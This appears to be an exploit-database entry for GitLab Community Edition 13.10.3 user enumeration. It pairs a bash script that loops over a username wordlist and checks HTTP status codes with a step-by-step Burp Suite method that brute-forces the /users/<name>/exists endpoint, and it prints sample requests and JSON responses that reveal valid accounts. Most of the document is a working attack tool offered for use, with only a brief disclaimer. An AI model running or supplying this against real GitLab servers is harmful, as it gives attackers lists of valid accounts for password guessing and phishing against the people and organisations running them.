# Date: 4/29/2021
# Exploit Author: @4D0niiS [https://github.com/4D0niiS]
# Vendor Homepage: https://gitlab.com/
# Version: 13.10.3
# Tested on: Kali Linux 2021.1
#!/bin/bash
#Colors
RED='\033[38;5;196m'
GREEN='\e[38;5;47m'
NC='\033[0m'
BOLD='\e[1m'
PINK='\e[38;5;198m'
Italic='\e[3m'
BBlue='\e[44m'
YELLOW='\033[0;33m'
clear
echo -e
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo -e " ${BBlue}${BOLD}GitLab User Enumeration Script${NC}"
echo -e " ${BOLD}Version 1.0${NC}\n"
echo -e "${BOLD}${PINK}Description: ${NC}It prints out the
usernames that exist in your victim's GitLab CE instance\n"
echo -e "${BOLD}${PINK}Disclaimer: ${NC}${Italic}Do not run this
script against ${BOLD}GitLab.com!${NC}${Italic} Also keep in mind
that this PoC is meant only"
echo -e "for educational purpose and ethical use. Running it
against systems that you do not own or have the"
echo -e "right permission is totally on your own risk.\n${NC}"
echo -e "${BOLD}${PINK}Author:${NC}${BOLD} @4DoniiS${NC}${Italic}
[https://github.com/4D0niiS]${NC}"
echo -e
"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"
echo ""
echo ""
# Usage
usage() {
echo -e "${YELLOW}usage: ./gitlab_user_enum.sh --url <URL>
--userlist <Username Wordlist>${NC}\n"
echo -e "${Italic}PARAMETERS:${NC}"
echo -e "-------------"
echo -e "-u/--url The URL of your victim's GitLab instance"
echo -e "--userlist Path to a username wordlist file (one per
line)"
echo -e "-h/--help Show this help message and exit"
echo -e "\n"
echo -e "${Italic}Example:${NC}"
echo -e "-------------"
echo -e "./gitlab_user_enum.sh --url http://gitlab.local/
--userlist /home/user/usernames.txt"
}
#check for params
args=("$@")
URL=""
user_list=""
for (( i=0; i < $#; i++))
{
case ${args[$i]} in
--url | -u)
#GitLab's URL
URL=${args[$((i+1))]}
;;
--userlist)
#Username wordlist
user_list=${args[$((i+1))]}
;;
-h | --help | "")
#Help Menu
usage
exit 0
;;
esac
}
## checking the mandatory parameter (URL)
if [ -z "$URL" ]
then
usage
echo ""
echo -e "${RED}${BOLD}The URL of your GitLab target (--url) is
missing. ${NC}"
exit 0
fi
# User Enumeration Function
enumeration(){
while IFS= read -r line
do
echo "LOOP"
HTTP_Code=$( curl -s -o /dev/null -w "%{http_code}" $URL/$line)
echo $HTTP_Code
#echo "\n"
if [ $HTTP_Code -eq 200 ]
then
echo -e "${GREEN}${BOLD}[+]${NC} The username ${GREEN}${BOLD}$line
${NC}exists!"
#check the connection
elif [ $HTTP_Code -eq 000 ]
then
echo -e "${BOLD}${RED}[!]${NC} The target is unreachable. Please
make sure that you entered target's URL correctly and you have
connection with it!"
exit 0
fi
done < "$user_list"
}
# Main
enumeration
----------------
# Exploit Title: GitLab Community Edition (CE) 13.10.3 -
'Sign_Up' User Enumeration
# Date: 4/29/2021
# Exploit Author: @4D0niiS [https://github.com/4D0niiS]
# Vendor Homepage: https://gitlab.com/
# Version: 13.10.3
# Tested on: Kali Linux 2021.1
INFO: An unauthenticated attacker can remotely enumerate the existence of different usernames in her victim's GitLab CE instance by leveraging its sign_up page [Ex: http://gitlab.local/users/sgin_up].
DISCLAIMER: Do not test this method against GitLab.com. Also keep in mind that this PoC is meant only for educational purpose and ethical use. Testing it against systems that you do not own or have the right permission is totally on your own risk.
STEPS: The required steps for this purpose are as follows:
1- fill in the "username" field on sign_up form with something
and ensure it is validating the entered username
2- repeat step1 (with username: testuser) while you are
intercepting the created request with a proxy tool like Burp Suite.
You should see a request similar to the one bellow:
----------------------------------------------------------------------------------------------------------------------------------------------------------------
GET /users/testuser/exists HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0)
Gecko/20100101 Firefox/79.0
Accept: application/json, text/plain, /
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/users/sign_up
X-CSRF-Token: <some value>
X-Requested-With: XMLHttpRequest
Connection: close
Cookie: experimentation_subject_id=<some value>;
known_sign_in=<some value>; _gitlab_session=<some
value>
----------------------------------------------------------------------------------------------------------------------------------------------------------------
* note that the tested username (testuser) is in URI
3- Send this request to Burp's intruder and run a brute force
attack on it by replacing "testuser" in the URI as the enumeration
parameter.
4- Valid usernames can be found by looking for the statement
{"exists":true} in responses. On the other hand, invalid ones give
{"exists":false} in responses. So you can find valid users by
analyzing the responses. Take the following examples:
-------------------------------------------The following
response belongs to a valid user
------------------------------------------
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Apr 2021 09:52:44 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 15
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"8063e5a51719c58189c7d5209a5f37b3"
Page-Title: GitLab
Set-Cookie: _gitlab_session=<some value>; path=/;
expires=Mon, 19 Apr 2021 11:52:44 GMT; HttpOnly
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: users
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F3MRQTB94MT0HQXE0NMEMP7F
X-Runtime: 0.221557
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
{"exists":true}
-------------------------------------------The following
response belongs to an invalid user
------------------------------------------
HTTP/1.1 200 OK
Server: nginx
Date: Mon, 19 Apr 2021 09:55:34 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 16
Connection: close
Cache-Control: max-age=0, private, must-revalidate
Etag: W/"e39f603a5ebcff23859d200f9c9dc20f"
Page-Title: GitLab
Set-Cookie: _gitlab_session=<some value>; path=/;
expires=Mon, 19 Apr 2021 11:55:34 GMT; HttpOnly
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: users
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F3MRX0GJGG1DE8RPKPCVC7Q0
X-Runtime: 0.033046
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=31536000
Referrer-Policy: strict-origin-when-cross-origin
{"exists":false}